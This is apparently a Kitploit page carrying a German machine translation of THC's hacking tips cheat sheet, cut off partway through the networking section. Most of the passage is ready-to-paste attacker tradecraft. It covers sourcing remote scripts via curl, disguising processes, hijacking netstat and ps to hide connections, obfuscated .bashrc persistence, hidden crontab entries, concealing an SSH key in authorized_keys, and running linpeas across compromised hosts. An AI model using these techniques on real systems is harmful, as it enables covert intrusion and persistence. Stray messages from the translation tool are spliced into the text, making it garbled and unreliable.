Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
Tools/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

Repository anzeigen
3.9k471vor 1 MonatVon Kitploit geprüft

THC's beliebteste Tipps, Tricks & Hacks (Spickzettel)

https://thc.org/tips

Eine Sammlung unserer Lieblingstricks. Viele dieser Tricks stammen nicht von uns. Wir sammeln sie lediglich.

Wir zeigen die Tricks 'wie sie sind' ohne jede Erklärung, warum sie funktionieren. Du musst Linux kennen, um zu verstehen, wie und warum sie funktionieren.

Hast du Tricks? Mach mit bei uns https://thc.org/ops

  1. Bash
    1. Richte eine Hack-Shell ein
    2. Verstecke deine Befehle
    3. Verstecke deine Befehlszeilenoptionen
    4. Verstecke eine Netzwerkverbindung
    5. Verstecke einen Prozess als Benutzer
    6. Verstecke einen Prozess als root
    7. Verstecke Skripte
    8. Verstecke vor cat
    9. Parallel ausführen mit separaten Logdateien
  2. SSH
    1. Fast unsichtbares SSH
    2. Mehrere Shells über eine SSH/TCP-Verbindung
    3. SSH-Tunnel
    4. SSH-Socks5-Tunnel
    5. SSH zu einem NATed Host
    6. SSH-Pivot via ProxyJump
    7. SSHD als Benutzer
  3. Netzwerk
    1. Hosts entdecken
    2. Tcpdump
    3. Tunnel und Weiterleitung
      1. Raw-TCP-Reverse-Ports
      2. HTTPS-Reverse-Forwards
      3. Verkehr mit iptables weiterleiten
      4. Ghost-IP / IP-Spoofing
      5. Verschiedenes
    4. Beliebiges Tool über Socks-Proxy nutzen
    5. Finde deine öffentliche IP-Adresse
    6. Erreichbarkeit aus der ganzen Welt prüfen
    7. Offene Ports prüfen/scannen
    8. Passwort-Hashes knacken
    9. Passwörter / Schlüssel brute-forcen
  4. Daten hoch-/runterladen/Exfiltration
    1. Datei-Encoding/Decoding
    2. Dateiübertragung per Ausschneiden & Einfügen
    3. Dateiübertragung mit tmux
    4. Dateiübertragung mit screen
    5. Dateiübertragung mit gs-netcat und sftp
    6. Dateiübertragung per HTTP
    7. Dateidownload ohne curl
    8. Dateiübertragung mit rsync
    9. Dateiübertragung zu öffentlichen Dump-Seiten
    10. Dateiübertragung per WebDAV
    11. Dateiübertragung zu Telegram
  5. Reverse Shell / Dumb Shell
    1. Reverse Shells
      1. mit gs-netcat (verschlüsselt)
      2. mit Bash
      3. mit cURL (verschlüsselt)
      4. mit cURL (Klartext)
      5. mit OpenSSL (verschlüsselt)
      6. mit remote.moe (verschlüsselt)
      7. ohne /dev/tcp
      8. mit Python
      9. mit Perl
      10. mit PHP
    2. Die Dumb Shell upgraden
      1. Reverse Shell zu einer pty-Shell upgraden
      2. Reverse Shell zu einer voll interaktiven Shell upgraden
      3. Reverse Shell mit socat (voll interaktiv)
  6. Backdoors
    1. gs-netcat
    2. sshx.io
    3. Kleinster SSHD-Backdoor
    4. Remote-Zugriff auf ein ganzes Netzwerk
    5. Kleinster PHP-Backdoor
    6. Kleinster Reverse-DNS-Tunnel-Backdoor
    7. Lokaler Root-Backdoor
    8. Selbstextrahierender Implant
  7. Host-Recon
  8. Shell-Hacks
    1. Dateien shreddern (sicheres Löschen)
    2. Das Datum einer Datei wiederherstellen
    3. Logdatei bereinigen
    4. Dateien vor einem Benutzer ohne root-Rechte verstecken
    5. Eine Datei unveränderbar machen
    6. Benutzer wechseln ohne sudo/su
    7. Payload verschleiern und verschlüsseln
    8. Backdoor ausrollen, ohne das Dateisystem zu berühren
  9. Krypto
    1. Schnelles zufälliges Passwort generieren
    2. Transportierbare verschlüsselte Linux-Dateisysteme
      1. cryptsetup
      2. EncFS
    3. Eine Datei verschlüsseln
  10. Session-Sniffing und -Hijacking
    1. Die SHELL-Sitzung eines Benutzers sniffern
    2. Alle SHELL-Sitzungen mit dtrace sniffern
    3. Alle SHELL-Sitzungen mit eBPF sniffern
    4. Die SSH- oder SSHD-Sitzung eines Benutzers mit strace sniffern
    5. Die ausgehende SSH-Sitzung eines Benutzers mit einem Wrapper-Skript sniffern
    6. Die ausgehende SSH-Sitzung eines Benutzers mit SSH-IT sniffern
    7. Eine laufende SSH-Sitzung hijacken / übernehmen
  11. VPN und Shells
    1. Wegwerf-Root-Server
    2. VPN/VPS-Anbieter
  12. OSINT-Intelligence-Gathering
  13. Sonstiges
    1. Werkzeuge des Handwerks
    2. Coole Linux-Befehle
    3. tmux-Spickzettel
    4. Nützliche Befehle
  14. Wie man ein Hacker wird
  15. Andere Seiten

1. Bash / Shell

1.i. Richte eine Hack-Shell (bash) ein:

Mache BASH weniger laut. Deaktiviert ~/.bash_history und viele andere Dinge.```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
Alternative URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

Und wenn es kein curl/wget gibt, verwende surl und (temporär) installiertes curl mit bin curl.```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell kann viel mehr, aber am wichtigsten ist Folgendes:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Wir verwenden anew häufig, und das ist eine schnelle Problemumgehung:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
Bonus-Tipp:
Jeder Befehl, der mit einem " " (Leerzeichen) beginnt, wird ebenfalls [nicht im Verlauf gespeichert](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

1.ii. Befehl verstecken / Befehl daemonisieren

Dadurch wird nur der Prozessname versteckt. Verwende zapper, um auch die Befehlszeilenoptionen zu verstecken.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
Starte einen 'nmap' im Hintergrund, versteckt als '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Starten Sie in einem GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
Alternativ können Sie die Binärdatei unter einem neuen Namen kopieren:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

oder verwenden Sie stattdessen bind-mount, um /sbin/init (vorübergehend) auf /dev/shm/nmap zeigen zu lassen:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. Verstecke deine Kommandozeilenoptionen**

Verwende [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

I’m not able to see any content in your message. The INPUT section appears to be empty—there’s no text provided to translate. If you can paste the actual chunk content, I’ll translate it into German right away.```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. Eine Netzwerkverbindung verstecken**

Der Trick besteht darin, `netstat` zu kapern und mit grep unsere Verbindung herauszufiltern. Dieses Beispiel filtert jede Verbindung auf Port 31337 _oder_ IP 1.2.3.4 heraus. Dasselbe sollte für `ss` (eine netstat-Alternative) getan werden.

**Methode 1 - Eine Verbindung mit einer Bash-Funktion in ~/.bashrc verstecken**

Schneiden Sie dies aus und fügen Sie es ein, um die Zeile zu ~/.bashrc hinzuzufügen.```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Oder schneiden Sie dies aus und fügen Sie es für einen verschleierten Eintrag in /.bashrc ein:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
Der verschleierte Eintrag in ~/.bashrc wird wie folgt aussehen:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

Methode 2 - Verstecken einer Verbindung mit einer Binärdatei in $PATH

Erstellen Sie eine gefälschte netstat-Binärdatei in /usr/local/sbin. Auf einem Standard-Debian (und den meisten Linux-Systemen) listet die PATH-Variable (echo $PATH) /usr/local/sbin vor /usr/bin auf. Das bedeutet, dass unsere Hijacking-Binärdatei /usr/local/sbin/netstat anstelle von /usr/bin/netstat ausgeführt wird.```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(danke iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Einen Prozess als Benutzer verbergen**

Im Anschluss an „Hiding a connection“ kann dieselbe Technik verwendet werden, um einen Prozess zu verbergen. Dieses Beispiel verbirgt den nmap-Prozess und stellt außerdem sicher, dass unser `grep` nicht in der Prozessliste erscheint, indem es in GREP umbenannt wird:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. Einen Prozess als Root verstecken

Dies erfordert Root-Rechte und ist ein alter Linux-Trick, indem man /proc/<pid> mit einem nutzlosen Verzeichnis übermounted:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
Um einen Befehl zu verstecken, verwende:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(thanks to druichi for improving this)

1.vii. Shell-Skripte verstecken

Oben haben wir besprochen, wie man eine Zeile in ~/.bashrc verschleiern kann. Ein häufig verwendeter Trick ist es, stattdessen source zu verwenden. Der source-Befehl kann zu . (ja, einem Punkt) verkürzt werden und durchsucht außerdem die $PATH-Variable, um die zu ladende Datei zu finden.

In diesem Beispiel enthält unser Skript prng alle unsere Shell-Funktionen von oben. Diese Funktionen verbergen den nmap-Prozess und die Netzwerkverbindung. Zuletzt fügen wir . prng in die systemweite rc-Datei ein. Dadurch wird prng geladen, wenn sich der Benutzer (und root) anmeldet:```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(Das Gleiche funktioniert für `lsof`, `ss` und `ls`)

<a id="cat"></a>
**1.viii. Vor cat verstecken**

ANSI-Escapezeichen oder ein einfaches `\r` ([Wagenrücklauf](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) können verwendet werden, um sich vor `cat` und anderen zu verstecken.

Verstecke den letzten Befehl (Beispiel: `id`) in `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Fügen Sie eine versteckte Crontab-Zeile hinzu:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
Das Hinzufügen eines `\r` (Wagenrücklauf) hilft sehr dabei, deinen SSH-Schlüssel vor `cat` zu verstecken:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. Parallel mit separaten Logdateien ausführen*

Hinweis: Das Gleiche kann mit parallel erreicht werden.

Scanne Hosts mit 20 parallelen Aufgaben:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` wird verwendet, um die zugrunde liegende Shell durch den letzten Prozess (nmap) zu ersetzen. Es ist optional, reduziert aber die Anzahl der laufenden/unnötigen Shell-Binaries.
- `${SLOT}` enthält einen Wert zwischen 0..19. Es ist die „Aufgabennummer“. Wir verwenden es, um die nmap-Ergebnisse in 20 separate Dateien zu schreiben.

Führen Sie [Linpeas](https://github.com/carlospolop/PEASS-ng) auf allen [gsocket](https://www.gsocket.io/deploy)-Hosts mit 40 Workern aus:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
  • Logge jedes Ergebnis in eine separate Datei, aber logge alle Fehler in eine Fehler-Logdatei nach Aufgabennummer.

2. SSH

2.i. Fast unsichtbares SSH

Verhindert, dass du im w- oder who-Befehl auftauchst, und verhindert, dass der Host in ~/.ssh/known_hosts protokolliert wird.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
Voller Komfort mit PTY und Farben: `xssh [email protected]````sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(See Hackshell)

2.ii Mehrere Shells über eine SSH/TCP-Verbindung

Nutzen Sie eine TCP-Verbindung zum Ziel und ermöglichen Sie mehreren Benutzern, dieselbe TCP-Verbindung mitzunutzen, um weitere Shell-Sitzungen zu öffnen.

Erstellen Sie eine Master-Verbindung:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
Erstellen Sie weitere Shell-Sitzungen über dieselbe (einzelne) Master-TCP-Verbindung von oben (kein Passwort/Authentifizierung erforderlich):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Kann mit xssh kombiniert werden, um sich vor utmp zu verstecken.

2.iii SSH-Tunnel

Wir nutzen das ständig, um lokale Firewalls und IP-Filterung zu umgehen:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
Du oder jeder andere kann sich jetzt mit deinem Computer auf Port 31337 verbinden und wird zu 1.2.3.4 Port 80 getunnelt und erscheint mit der Quell-IP von 'server.org'. Eine Alternative und ohne die Notwendigkeit eines Servers ist die Verwendung von [gs-netcat](#backdoor-network).

Clevere Hacker verwenden die Tastenkombination `~C`, um diese Tunnel dynamisch zu erstellen, ohne die SSH-Verbindung neu aufbauen zu müssen. (Dank an MessedeDegod).

Wir verwenden dies, um einem Freund Zugriff auf eine interne Maschine zu geben, die sich nicht im öffentlichen Internet befindet:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Jeder, der sich mit server.org:31338 verbindet, wird über deinen Computer zu 192.168.0.5 auf Port 80 getunnelt. Eine Alternative, die ohne Server auskommt, ist die Verwendung von gs-netcat.

2.iv SSH socks4/5 Tunnel

OpenSSH 7.6 unterstützt socks für dynamisches Forwarding. Beispiel: Tunnel den gesamten Browserverkehr über deinen Server.```sh ssh -D 1080 [email protected]

root@kitploit:~
Konfigurieren Sie nun Ihren Browser, um SOCKS mit 127.0.0.1:1080 zu verwenden. Der gesamte Datenverkehr wird jetzt durch *server.org* getunnelt und erscheint mit der Quell-IP von *server.org*. Eine Alternative, die keinen Server benötigt, ist die Verwendung von [gs-netcat](#backdoor-network).

Dies ist die Umkehrung des obigen Beispiels. Es gibt anderen Zugriff auf Ihr *lokales* Netzwerk oder lässt andere Ihren Computer als Tunnel-Endpunkt verwenden.```sh
ssh -g -R 1080 [email protected]

Die anderen konfigurieren server.org:1080 als ihren SOCKS4/5-Proxy. Sie können sich nun mit jedem Computer auf jedem Port verbinden, auf den dein Computer Zugriff hat. Dies umfasst den Zugriff auf Computer hinter deiner Firewall, die sich in deinem lokalen Netzwerk befinden. Eine Alternative, die keinen Server erfordert, ist die Verwendung von gs-netcat.

2.v SSH zu einem Host hinter NAT

ssh-j.com bietet einen großartigen Relay-Dienst: um auf einen Host hinter NAT/Firewall (per SSH) zuzugreifen.

Auf dem Host hinter NAT: Erstelle einen Reverse-SSH-Tunnel zu ssh-j.com wie folgt:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
Verwenden Sie dann diesen Befehl von überall auf der Welt, um sich als 'root' mit 'foobarblahblub' (dem Host hinter dem NAT) zu verbinden:```sh
ssh -J [email protected] root@foobarblahblub

Die SSH-Verbindung läuft über ssh-j.com in den Reverse-Tunnel zum Host hinter NAT. Der Datenverkehr ist Ende-zu-Ende verschlüsselt und ssh-j.com kann den Inhalt nicht sehen.

2.vi SSH-Pivoting zu mehreren Servern

SSH ProxyJump kann Ihnen viel Zeit und Mühe ersparen, wenn Sie mit entfernten Servern arbeiten. Nehmen wir folgendes Szenario an:

Unsere Workstation ist $local-kali und wir möchten per SSH auf $target-host zugreifen. Es gibt keine direkte Verbindung zwischen unserer Workstation und $target-host. Unsere Workstation kann nur $C2 erreichen. $C2 kann $internal-jumphost erreichen (über internes eth1) und $internal-jumphost kann den finalen $target-host über eth2 erreichen.```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> Wir führen `ssh` auf keinem Computer aus, außer auf unserer vertrauenswürdigen Workstation – und das solltet auch ihr (niemals) tun.

Genau dabei hilft ProxyJump: Wir können über die zwei Zwischenserver $C2 und $internal-jumphost „springen" (ohne auf diesen Servern eine Shell zu starten). Die ssh-Verbindung ist Ende-zu-Ende zwischen unserer $local-kali und $target-host verschlüsselt, und weder Passwort noch Schlüssel wird $C2 oder $internal-jumphost offengelegt.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

Wir verwenden dies auch, um unsere IP-Adresse zu verbergen, wenn wir uns bei Servern anmelden.

2.vii SSHD im Userland

Es ist möglich, einen SSHD-Server als Nicht-Root-Benutzer zu starten und diesen zum Multiplexen oder Weiterleiten von TCP-Verbindungen zu verwenden (ohne Logging und wenn der systemweite SSHD das Weiterleiten/Multiplexen verbietet) oder als schnellen Exfil-Dump-Server, der als Nicht-Root-Benutzer läuft:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF ist eine alternative Möglichkeit, TCP über TLS zu multiplexen.


3. Netzwerk

3.i. Hosts ermitteln```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
Please provide the Markdown content to translate.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

I'm ready to translate the chunk. However, the input section appears to be empty—no Markdown content was provided for chunk 84 of 494.

Please provide the actual chunk content so I can translate it from English to German following all the specified rules.```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. Tunnel und Weiterleitung```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
I'm ready to translate, but no content was provided after "INPUT:". Please supply the chunk text you'd like translated.```sh
## Bridge TCP to SSL
socat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465

3.iii.a Raw-TCP-Reverse-Ports

Nützlich für Reverse-Backdoors, die einen TCP-Port auf einer öffentlichen IP-Adresse benötigen:

Verwendung von segfault.net (kostenlos):```sh

Request a random public TCP port:

curl sf/port echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)" nc -vnlp $(cat /config/self/reverse_port)

root@kitploit:~
Verwendung von [bore.pub](https://github.com/ekzhang/bore) (kostenlos):```sh
# Forward a random public TCP port to localhost:31337
bore local 31337 --to bore.pub

mit serveo.net (kostenlos):```sh

Forward a random public TCP port to localhost:31337

ssh -R 0:localhost:31337 [email protected]

root@kitploit:~
mit [pinggy.io](https://www.pinggy.io) (60 Min. kostenlos):```sh
ssh -p 443 -R 0:localhost:31337 [email protected]

Siehe auch remote.moe (kostenlos), um rohes TCP vom Zielsystem an Ihre Workstation weiterzuleiten, oder playit (kostenlos) oder ngrok (kostenpflichtiges Abonnement), um einen öffentlichen Raw-TCP-Port weiterzuleiten.

Andere kostenlose Dienste sind darauf beschränkt, nur HTTPS weiterzuleiten (kein raw TCP). Einige Tricks weiter unten zeigen, wie man raw TCP über HTTPS-Weiterleitungen tunneln kann (mittels WebSockets).


3.iii.b HTTPS-Reverse-Tunnel

Verwenden Sie auf dem Server einen dieser drei HTTPS-Tunnel-Dienste:```sh

Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using remote.moe

ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]

Or using cloudflared

curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod 755 cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate

root@kitploit:~
Beide Dienste generieren eine neue temporäre HTTPS-URL, die du verwenden kannst.  

Verwende dann [websocat](https://github.com/vi/websocat) oder [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) an beiden Enden, um rohes TCP über die HTTPS-URL zu tunneln:

A. Eine einfache STDIN/STDOUT-Pipe über HTTPS:```sh
### On the server convert WebSocket to raw TCP:
websocat -s 8080
root@kitploit:~
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. Rohes TCP über HTTPS weiterleiten:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
Leiten Sie Port 2222 an Port 22 des Servers weiter.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

oder verwenden Sie den Server als Socks-Proxy-EXIT-Knoten (z. B. über den Server auf einen beliebigen Host im Netzwerk des Servers oder sogar auf das Internet zugreifen (unter Verwendung des HTTPS-Reverse-Tunnels von oben):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
Mehr: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) und [Tunnel via Cloudflare zu jedem TCP-Dienst](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) und [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Verkehr mit iptables weiterleiten**

Leite Verkehr über einen Host/Router um, ohne einen Userland-Proxy oder Forwarder ausführen zu müssen:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
